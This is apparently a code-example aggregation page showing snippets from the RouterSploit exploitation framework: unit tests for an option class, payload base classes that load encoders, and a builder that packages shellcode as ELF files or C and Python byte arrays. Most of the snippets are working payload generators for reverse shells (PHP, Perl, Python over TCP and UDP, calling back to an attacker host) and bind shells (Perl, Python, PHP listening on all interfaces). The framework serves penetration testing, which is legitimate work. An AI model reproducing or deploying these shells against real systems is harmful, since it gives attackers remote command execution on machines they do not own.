Exemple #1
0
def test_opt_string():
    # Test OptString creation
    opt_string = OptString("Test", "Test String Description")
    assert opt_string.description == "Test String Description"
    assert opt_string.display_value == "Test"
    assert opt_string.value == "Test"
    assert opt_string.__get__(None, None) == "Test"

    # Test OptString setting to "AAAABBBBCCCCDDDD"
    opt_string.__set__(None, "AAAABBBBCCCCDDDD")
    assert opt_string.display_value == "AAAABBBBCCCCDDDD"
    assert opt_string.value == "AAAABBBBCCCCDDDD"
    assert opt_string.__get__(None, None) == "AAAABBBBCCCCDDDD"
Exemple #2
0
class BasePayload(BaseExploit):
    architecture = None
    handler = None
    encoder = OptString("", "Encoder")
    fmt = None

    def __init__(self):
        if self.handler not in PayloadHandlers:
            raise OptionValidationError(
                "Please use one of valid payload handlers: {}".format(
                    PayloadHandlers._fields))

    def generate(self):
        raise NotImplementedError("Please implement 'generate()' method")

    def run(self):
        raise NotImplementedError()

    def get_encoders(self):
        path = "routersploit/modules/encoders/{}".format(self.architecture)

        encoders = []

        try:
            files = os.listdir(path)
        except FileNotFoundError:
            return []

        for f in files:
            if not f.startswith("__") and f.endswith(".py"):
                encoder = f.replace(".py", "")
                module_path = "{}/{}".format(path, encoder).replace("/", ".")
                module = getattr(importlib.import_module(module_path),
                                 "Encoder")
                encoders.append((
                    "{}/{}".format(self.architecture, encoder),
                    module._Encoder__info__["name"],
                    module._Encoder__info__["description"],
                ))

        return encoders

    def get_encoder(self, encoder):
        module_path = "routersploit/modules/encoders/{}".format(
            encoder).replace("/", ".")

        try:
            module = getattr(importlib.import_module(module_path), "Encoder")
        except ImportError:
            return None

        return module()
Exemple #3
0
class Payload(ReverseTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name": "PHP Reverse TCP",
        "description": "Creates interactive tcp reverse shell by using php.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PHP
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return (
            "$s=fsockopen(\"tcp://{}\",{});".format(self.lhost, self.lport) +
            "while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}"
        )
Exemple #4
0
class BasePayload(BaseExploit):
    architecture = None
    handler = None
    encoder = OptString("", "Encoder")
    fmt = None

    def __init__(self):
        if self.handler not in PayloadHandlers:
            raise OptionValidationError(
                "Please use one of valid payload handlers: {}".format(
                    PayloadHandlers._fields
                )
            )

    def generate(self):
        raise NotImplementedError("Please implement 'generate()' method")

    def run(self):
        raise NotImplementedError()

    def get_encoders(self):
        encoders = []

        # get all encoders for given architecture
        all_encoders = [e for e in index_modules() if "encoders.{}".format(self.architecture) in e]

        for e in all_encoders:
            encoder = e.replace("encoders.{}.".format(self.architecture), "").replace(".", "/")
            module = getattr(importlib.import_module('routersploit.modules.' + e), "Encoder")
            encoders.append((
                "{}/{}".format(self.architecture, encoder),
                module._Encoder__info__["name"],
                module._Encoder__info__["description"],
            ))

        return encoders

    def get_encoder(self, encoder):
        module_path = "routersploit/modules/encoders/{}".format(encoder).replace("/", ".")

        try:
            module = getattr(importlib.import_module(module_path), "Encoder")
        except ImportError:
            return None

        return module()
Exemple #5
0
def test_opt_string():
    # Test OptString creation
    opt_string = OptString("Test", "Test String Description")
    assert opt_string.description == "Test String Description"
    assert opt_string.display_value == "Test"
    assert opt_string.value == "Test"
    assert opt_string.__get__(None, None) == "Test"

    # Test OptString setting to "AAAABBBBCCCCDDDD"
    opt_string.__set__(None, "AAAABBBBCCCCDDDD")
    assert opt_string.display_value == "AAAABBBBCCCCDDDD"
    assert opt_string.value == "AAAABBBBCCCCDDDD"
    assert opt_string.__get__(None, None) == "AAAABBBBCCCCDDDD"
Exemple #6
0
class Payload(ReverseTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name": "Perl Reverse TCP",
        "description": "Creates interactive tcp reverse shell by using perl.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PERL
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return (
            "use IO;foreach my $key(keys %ENV){" +
            "if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""
            + self.lhost + ":" + str(self.lport) +
            "\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};"
        )
Exemple #7
0
class Payload(BindTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name": "Perl Bind TCP",
        "description": "Creates interactive tcp bind shell by using perl.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PERL
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return (
            "use IO;foreach my $key(keys %ENV){" +
            "if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,"
            + str(self.rport) +
            ",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){"
            + "if($_=~ /(.*)/){system $1;}};")
Exemple #8
0
class Payload(ReverseTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name": "Python Reverse TCP",
        "description":
        "Creates interactive tcp reverse shell by using python.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PYTHON
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return ("import socket,subprocess,os\n" +
                "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
                "s.connect(('{}',{}))\n".format(self.lhost, self.lport) +
                "os.dup2(s.fileno(),0)\n" + "os.dup2(s.fileno(),1)\n" +
                "os.dup2(s.fileno(),2)\n" +
                "p=subprocess.call([\"/bin/sh\",\"-i\"])")
Exemple #9
0
class Payload(BindTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name": "Python Bind TCP",
        "description": "Creates interactive tcp bind shell by using python.",
        "authors": (
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PYTHON
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return ("import socket,os\n" +
                "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
                "so.bind(('0.0.0.0',{}))\n".format(self.rport) +
                "so.listen(1)\n" + "so,addr=so.accept()\n" + "x=False\n" +
                "while not x:\n" + "\tdata=so.recv(1024)\n" +
                "\tstdin,stdout,stderr,=os.popen3(data)\n" +
                "\tstdout_value=stdout.read()+stderr.read()\n" +
                "\tso.send(stdout_value)\n")
Exemple #10
0
class Payload(ReverseTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name":
        "Python Reverse UDP",
        "description":
        "Creates interactive udp reverse shell by using python.",
        "authors": (
            "Andre Marques (zc00l)",  # shellpop
            "Marcin Bury <marcin[at]threat9.com>"  # routersploit module
        ),
    }

    architecture = Architectures.PYTHON
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return ("import os\n" + "import pty\n" + "import socket\n" +
                "s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n" +
                "s.connect(('{}',{}))\n".format(self.lhost, self.lport) +
                "os.dup2(s.fileno(), 0)\n" + "os.dup2(s.fileno(), 1)\n" +
                "os.dup2(s.fileno(), 2)\n" + "pty.spawn('/bin/sh');\n" +
                "s.close()\n")
Exemple #11
0
class Payload(BindTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name":
        "PHP Bind TCP",
        "description":
        "Creates interactive tcp bind shell by using php.",
        "authors": (
            "Andre Marques (zc00l)",  # shellpop
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PHP
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return ("$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
                "socket_bind($s,\"0.0.0.0\",{});".format(self.rport) +
                "socket_listen($s,1);" + "$cl=socket_accept($s);" +
                "while(1){" + "if(!socket_write($cl,\"$ \",2))exit;" +
                "$in=socket_read($cl,100);" + "$cmd=popen(\"$in\",\"r\");" +
                "while(!feof($cmd)){" + "$m=fgetc($cmd);" +
                "socket_write($cl,$m,strlen($m));" + "}}")
Exemple #12
0
class Payload(BindTCPPayloadMixin, GenericPayload):
    __info__ = {
        "name":
        "Python Bind UDP",
        "description":
        "Creates interactive udp bind shell by using python.",
        "authors": (
            "Andre Marques (zc00l)",  # shellpop
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
    }

    architecture = Architectures.PYTHON
    encoder = OptString(Encoder(), "Encoder")

    def generate(self):
        return (
            "from subprocess import Popen,PIPE\n" +
            "from socket import socket, AF_INET, SOCK_DGRAM\n" +
            "s=socket(AF_INET,SOCK_DGRAM)\n" +
            "s.bind(('0.0.0.0',{}))\n".format(self.rport) + "while 1:\n"
            "\tdata,addr=s.recvfrom(1024)\n" +
            "\tout=Popen(data,shell=True,stdout=PIPE,stderr=PIPE).communicate()\n"
            + "\ts.sendto(''.join([out[0],out[1]]),addr)\n")
Exemple #13
0
class ArchitectureSpecificPayload(BasePayload):
    architecture = None

    output = OptString('python', 'Output type: elf/c/python')
    filepath = OptString(
        "/tmp/{}".format(random_text(8)), 'Output file to write'
    )

    def __init__(self):
        super(ArchitectureSpecificPayload, self).__init__()
        if self.architecture not in Architectures:
            raise OptionValidationError(
                "Please use one of valid payload architectures: {}".format(
                    Architectures._fields
                )
            )

        self.header = ARCH_ELF_HEADERS[self.architecture]
        self.bigendian = True if self.architecture.endswith("be") else False

    def run(self):
        print_status("Generating payload")
        try:
            data = self.generate()
        except OptionValidationError as e:
            print_error(e)
            return

        if self.output == "elf":
            with open(self.filepath, 'wb+') as f:
                print_status("Building ELF payload")
                content = self.generate_elf(data)
                print_success("Saving file {}".format(self.filepath))
                f.write(content)
        elif self.output == "c":
            print_success("Bulding payload for C")
            content = self.generate_c(data)
            print_info(content)
        elif self.output == "python":
            print_success("Building payload for python")
            content = self.generate_python(data)
            print_info(content)
        else:
            raise OptionValidationError(
                "No such option as {}".format(self.output)
            )

    def generate_elf(self, data):
        elf = self.header + data

        if elf[4] == 1:  # ELFCLASS32 - 32 bit
            if self.bigendian:
                p_filesz = pack(">L", len(elf))
                p_memsz = pack(">L", len(elf) + len(data))
            else:
                p_filesz = pack("<L", len(elf))
                p_memsz = pack("<L", len(elf) + len(data))

            content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
        elif elf[4] == 2:  # ELFCLASS64 - 64 bit
            if self.bigendian:
                p_filesz = pack(">Q", len(elf))
                p_memsz = pack(">Q", len(elf) + len(data))
            else:
                p_filesz = pack("<Q", len(elf))
                p_memsz = pack("<Q", len(elf) + len(data))

            content = elf[:0x60] + p_filesz + p_memsz + elf[0x70:]

        return content

    @staticmethod
    def generate_c(data):
        res = "unsigned char sh[] = {\n    \""
        for idx, x in enumerate(data):
            if idx % 15 == 0 and idx != 0:
                res += "\"\n    \""
            res += "\\x%02x" % x
        res += "\"\n};"
        return res

    @staticmethod
    def generate_python(data):
        res = "payload = (\n    \""
        for idx, x in enumerate(data):
            if idx % 15 == 0 and idx != 0:
                res += "\"\n    \""
            res += "\\x%02x" % x
        res += "\"\n)"
        return res